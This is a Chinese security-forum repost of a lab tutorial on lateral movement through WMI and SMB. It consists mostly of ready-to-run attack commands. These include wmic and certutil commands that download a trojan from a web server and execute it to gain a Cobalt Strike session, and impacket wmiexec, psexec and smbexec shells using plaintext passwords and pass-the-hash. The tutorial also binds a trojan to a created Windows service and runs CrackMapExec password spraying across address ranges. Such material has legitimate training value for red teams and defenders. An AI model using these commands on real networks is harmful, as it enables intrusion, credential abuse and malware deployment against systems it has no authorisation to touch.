安全矩阵

 找回密码
 立即注册
搜索
查看: 707|回复: 0

横向移动-WMI、SMB

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2023-2-12 15:12:45 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2023-2-12 15:15 编辑

横向移动-WMI、SMB
原创 0h1inge Tide安全团队 2023-02-10 17:03 发表于山东
转载自:横向移动-WMI、SMB

WMI什么是WMI?
WMI是通过135端口进行利用,支持用户名明文或hash的方式进行认证,在使用WMIC执行命令过程中,操作系统默认不会将WMIC的操作记录在日志中,
因此在利用过程中不会产生日志。所以越来越多的攻击者开始渐渐使用WMI进行攻击。
  
WMI的利用条件
  • 获得目标机器的用户名和密码
  • 开放139、445端口
WMIC的使用需要对方开启135端口(有的工具需要445端口)和admin$共享,135端口是WMI默认的管理端口

WMI利用手法
WMI演示环境如下图:
WMIC
系统自带的WMIC命令是单执行,无回显的,并且只支持明文密码,不支持hash进行传递 在这里,我们对SQLserver执行了一个ipconfig的命令,并将结果保存在C盘的ip.txt文件中:
  1. wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c ipconfig > c:\ip.txt
复制代码

可以看到我们并无法直接看到命令的回显,但我们上帝视角切到靶机发现确实是执行命令了的 。

这里如果在实战中,如果想要查看文件内容和文件是否上传成功的话,就要使用上篇文章内网移动-IPC中的type和dir命令
  1. dir \\192.168.3.32\c$ #列出该主机的C盘下的文件
  2. type \\192.168.3.32\c$\ip.txt
复制代码



这里将其上线CS的步骤也是:使用下载命令让其下载Web Server中的木马,执行上线
  1. wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe c:/4444.exe"  #下载Webserver中的木马文件到自己的C盘
复制代码


  1. wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c c:/4444.exe" # 执行木马
复制代码


可以看到此时sqlserver成功被上线。

wmiexec.vbs
wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能,wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs,交互式,适合在反弹shell或msfconsole中使用,
不适合CS控制 首先我们将其上传到跳板机中,然后再使用命令去连接,由于CS无法返回shell的问题,所以该脚本并不适用于在CS中运行,所以这里我选择将会话转移到MSF中去运行。

  1. cscript //nologo wmiexec.vbs /shell 192.168.3.32 administrator admin!@#45
复制代码

可以看到在MSF中运行了该文件后,成功将sqlserver的shell反弹了过来,在此我们可以直接让其下载后门并执行,上线到我们的CS中。
  1. cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe c:/4444.exe & C:/4444.exe
复制代码


可以看到SQLserver成功上线CS
wmiexec-impacket
impacket套件中的wmiexec同样可对WMI进行横向移动,并且支持交互式与单执行,支持hash进行传递,相对来说更为方便,这里直接使用它的py脚本配合socket代理就可以对其内网进行横向移动,
避免了上传文件等敏感操作。首先设置好Socket代理,与proxifier的代理与代理规则



配置好socket代理与规则后,就可直接在本机中调用wmiexec.py文件对其内网进行wmi利用
  1. python wmiexec.py ./administrator:Admin12345@192.168.3.21 # 通过明文密码连接获得目标本地用户交互式shell
  2. python wmiexec.py god/administrator:Admin12345@192.168.3.21 # 通过明文密码连接获得目标域用户交互式shell
复制代码



通过该命令成功获得一个交互式的shell,那么wmiexec.py也可单执行命令。
  1. python wmiexec.py ./administrator:admin!@#45@192.168.3.32 "whoami"  # 以明文密码连接本地用户并执行命令
复制代码


  1. python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami" # 以hash密码连接本地用户并执行命令
复制代码


这里将目标上线CS的方式和上面一致,通过命令下载木马并执行。
  1. python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/4444.exe c:/4444.exe & C:/4444.exe"
复制代码



SMB什么是SMB?
SMB(Server Message Block)服务器信息块,它也是一种客户端到服务器的通信协议。除此之外,SMB协议也被称为请求-回复协议。客户端与服务器建立连接后,客户端可以向服务器
发送SMB命令允许用户访问共享、打开、读取或者是写入文件
SMB的利用条件

  • 利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
  • 获得该目标的账号名与密码或hash
    SMB利用手法        SMB演示环境如下图:

PsExec
官方Psexec
Psexec 是由 Mark Russinovich 创建的 Sysinternals Suite中包含的工具。最初,它旨在作为系统管理员的便利工具,以便他们可以通过在远程主机上运行命令来执行维护任务。
后来因为太过方便,被利用到内网渗透之中。下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools,但不支持hash传递,且CS无法利用,而且该工具好像
只能在具有桌面权限后才可进行利用,我这里使用msf和反弹shell都无法成功反弹shell.... 这里将psexec.64上传到跳板机中

然后在跳板机桌面中运行该工具,就会反弹出目标机器的shell,如下图所示。
  1. psexec64.exe \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
复制代码


Impacket-PsExec
还有一个psexec就是我们的impacket套件中的工具,官方psexec有诸多限制,如不支持hash、cs、msf无法利用成功等问题,所以这里选择使用impacket中的psexec工具就相对来说比较灵活,
同样,为了避免发送上传文件时数据丢失或被查杀等问题,我们可使用socket+psexec.py对其内网进行横向移动。socket配置此处不再描述,这里直接使用impacket-Psexec.py进行利用
  1. psexec.py ./administrator:admin!@#45@192.168.3.32 # 通过明文密码连接获得目标本地用户交互式shell
  2. psexec.py god/administrator:Admin12345@192.168.3.21 # 通过明文密码连接获得目标域用户交互式shell
复制代码



  1. python psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 # 通过哈希密码连接获得目标本地用户交互式shell
  2. python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 # 通过哈希密码连接获得目标域用户交互式shell
复制代码



CS插件-psexec
在我们的CS中其实也有PSEXEC利用功能,且利用较为方便与简单,在targets中选中目标右键即可弹出利用选项,且支持hash的移动

点击psexec64后,就会让我们选择用户名密码与所登录域等,这里我们直接选择之前我们在跳板机中所收集的密码,Domain置空的话为本地用户登录,输入域名后则为域用户登录,
选择监听器和会话之后,点击Launch即可。


这里看到Sqlserver成功上线,这里如果想以域用户的身份登录时,Domain处输入域名即为域用户身份登录。
较为简单,这里不做过多讲解。

smbexec-impacket
在impacket中smbexec工具也可以进行移动,该工具利用方式和psexec利用方式相同,这里简单介绍一下即可
  1. python smbexec.py ./administrator:admin!@#45@192.168.3.32 # 通过明文密码连接获得目标本地用户交互式shell
  2. python smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 #通过哈希密码连接获得目标域用户交互式shell
复制代码



Services
同时还有一个系统自带的服务也可进行利用,该服务支持哈希密码传递,且为单执行无回显,无法交互shell。具体利用过程如下:首先建立SMB连接后,
创建一个服务,服务绑定木马,然后在启动该服务,即可上线到CS中
  1. services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create -name shell -display shellexec -path C:\4444.exe # 建立SMB连接并创建服务绑定木马
  2. services -hashes :518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 start -name shell # 启动shell服务
复制代码

CrackMapExec
在内网渗透中,能获取到主机管理员账号密码,将会使我们横向事半功倍,尤其是在大内网环境中,密码复用率很高,一波喷洒,能助力你拿到一波主机,
对拿到的主机再次抓取密码,再用新拿到的密码喷洒一波......,如此反复。密码喷洒的思路就是这样:不断收集内网账号密码,不断去喷洒。这时我们就需要
类似CrackMapExec这样的密码喷洒工具,对其内网进行密码喷洒。CrackMapExec下载地址:https://github.com/Porchetta-Industries/CrackMapExec 同样的,
CrackMapExec支持本地、域内和明文密文的fuzz,具体利用命令如下:域用户明文密码喷洒:
  1. proxychains crackmapexec smb 192.168.3.21-32 -u dbadmin -p 'Admin12345'
复制代码


本地用户明文密码喷洒:
  1. proxychains crackmapexec smb 192.168.3.21-32 -u administrator -p 'admin!@#45' --local-auth
复制代码


域内用户hash密码喷洒
  1. proxychains crackmapexec smb 192.168.3.32 -u dbadmin -H '518b98ad4178a53695dc997aa02d455c'
复制代码


本地用户hash密码喷洒
  1. proxychains crackmapexec smb 192.168.3.32 -u administrator -H '518b98ad4178a53695dc997aa02d455c' --local-auth
复制代码


执行命令也是非常的简单,这里直接在上面命令后加上-x 'bash' 即可
  1. proxychains crackmapexec smb 192.168.3.32 -u administrator -H '518b98ad4178a53695dc997aa02d455c' --local-auth -x 'whoami'
复制代码


当然这里也可以通过已经喷洒出的主机和密码配合CS中的psexec上线到CS中。此处就不再演示。





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 00:52 , Processed in 0.014139 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表